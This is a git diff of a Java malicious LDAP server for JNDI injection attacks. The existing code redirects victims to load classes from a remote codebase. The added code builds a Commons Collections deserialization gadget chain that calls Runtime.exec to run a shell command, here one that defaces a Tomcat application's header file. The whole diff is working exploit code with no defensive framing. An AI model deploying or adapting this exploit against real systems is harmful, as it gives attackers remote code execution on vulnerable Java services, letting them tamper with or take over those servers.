7
7
import com .unboundid .ldap .sdk .LDAPException ;
8
8
import com .unboundid .ldap .sdk .LDAPResult ;
9
9
import com .unboundid .ldap .sdk .ResultCode ;
10
+
11
+ import org .apache .commons .collections .Transformer ;
12
+ import org .apache .commons .collections .functors .ChainedTransformer ;
13
+ import org .apache .commons .collections .functors .ConstantTransformer ;
14
+ import org .apache .commons .collections .functors .InvokerTransformer ;
15
+ import org .apache .commons .collections .keyvalue .TiedMapEntry ;
16
+ import org .apache .commons .collections .map .LazyMap ;
17
+
10
18
import io .undertow .Undertow ;
11
19
import io .undertow .util .Headers ;
20
+ import org .apache .commons .lang3 .SerializationUtils ;
12
21
13
22
import javax .net .ServerSocketFactory ;
14
23
import javax .net .SocketFactory ;
21
30
import java .net .URL ;
22
31
import java .net .UnknownHostException ;
23
32
import java .nio .ByteBuffer ;
33
+ import java .util .HashMap ;
34
+ import java .util .Map ;
24
35
25
36
public class Server {
26
37
private static final String LDAP_BASE = "dc=example,dc=com" ;
@@ -100,7 +111,6 @@ public OperationInterceptor(URL cb) {
100
111
public void processSearchResult (InMemoryInterceptedSearchResult result ) {
101
112
String base = result .getRequest ().getBaseDN ();
102
113
Entry entry = new Entry (base );
103
-
104
114
try {
105
115
sendResult (result , base , entry );
106
116
} catch (LDAPException | MalformedURLException e ) {
@@ -111,21 +121,51 @@ public void processSearchResult(InMemoryInterceptedSearchResult result) {
111
121
protected void sendResult (InMemoryInterceptedSearchResult result , String base , Entry e )
112
122
throws LDAPException , MalformedURLException
113
123
{
114
- URL turl = new URL (
115
- this .codebase , this .codebase .getRef ().replace ('.' , '/' ).concat (".class" )
116
- );
117
- System .out .println ("Send LDAP reference result for " + base + " redirecting to " + turl );
118
- e .addAttribute ("javaClassName" , "foo" );
119
- String cbstring = this .codebase .toString ();
120
- int refPos = cbstring .indexOf ('#' );
121
- if (refPos > 0 ) {
122
- cbstring = cbstring .substring (0 , refPos );
123
- }
124
- e .addAttribute ("javaCodeBase" , cbstring );
125
- e .addAttribute ("objectClass" , "javaNamingReference" ); //$NON-NLS-1$
126
- e .addAttribute ("javaFactory" , this .codebase .getRef ());
127
- result .sendSearchEntry (e );
128
- result .setResult (new LDAPResult (0 , ResultCode .SUCCESS ));
124
+ System .out .println ("Base = " + base );
125
+ if (base .equals ("Commons" )) {
126
+ //deserialization attack chain in commons collections
127
+ System .out .println ("Send LDAP reference result for " + base + " containing a deserialized chain" );
128
+
129
+ String [] command = {
130
+ "/bin/sh" ,
131
+ "-c" ,
132
+ "echo '<center><h1>Nice container you have, I think I will move in!</h1></center>' >> /usr/local/tomcat/webapps/todolist/WEB-INF/views/common/header.jspf" };
133
+
134
+ final Transformer [] transformers = new Transformer [] {
135
+ new ConstantTransformer (Runtime .class ),
136
+ new InvokerTransformer ("getMethod" , new Class [] {String .class , Class [].class }, new Object [] {"getRuntime" , new Class [0 ] }),
137
+ new InvokerTransformer ("invoke" , new Class [] {Object .class , Object [].class }, new Object [] {null , new Object [0 ] }),
138
+ new InvokerTransformer ("exec" , new Class [] { String [].class }, new Object [] {command })
139
+ };
140
+ final Transformer transformerChain = new ChainedTransformer (transformers );
141
+
142
+ final Map innerMap = new HashMap ();
143
+ final Map lazyMap = LazyMap .decorate (innerMap , transformerChain );
144
+ TiedMapEntry entry = new TiedMapEntry (lazyMap , "foo" );
145
+
146
+ e .addAttribute ("javaClassName" , "foo" );
147
+ e .addAttribute ("javaSerializedData" , SerializationUtils .serialize (entry ));
148
+ e .addAttribute ("objectClass" , "javaNamingReference" );
149
+
150
+ result .sendSearchEntry (e );
151
+ result .setResult (new LDAPResult (0 , ResultCode .SUCCESS ));
152
+ } else {
153
+ URL turl = new URL (
154
+ this .codebase , this .codebase .getRef ().replace ('.' , '/' ).concat (".class" )
155
+ );
156
+ System .out .println ("Send LDAP reference result for " + base + " redirecting to " + turl );
157
+ e .addAttribute ("javaClassName" , "foo" );
158
+ String cbstring = this .codebase .toString ();
159
+ int refPos = cbstring .indexOf ('#' );
160
+ if (refPos > 0 ) {
161
+ cbstring = cbstring .substring (0 , refPos );
162
+ }
163
+ e .addAttribute ("javaCodeBase" , cbstring );
164
+ e .addAttribute ("objectClass" , "javaNamingReference" ); //$NON-NLS-1$
165
+ e .addAttribute ("javaFactory" , this .codebase .getRef ());
166
+ result .sendSearchEntry (e );
167
+ result .setResult (new LDAPResult (0 , ResultCode .SUCCESS ));
168
+ }
129
169
}
130
170
}
131
171
}
0 commit comments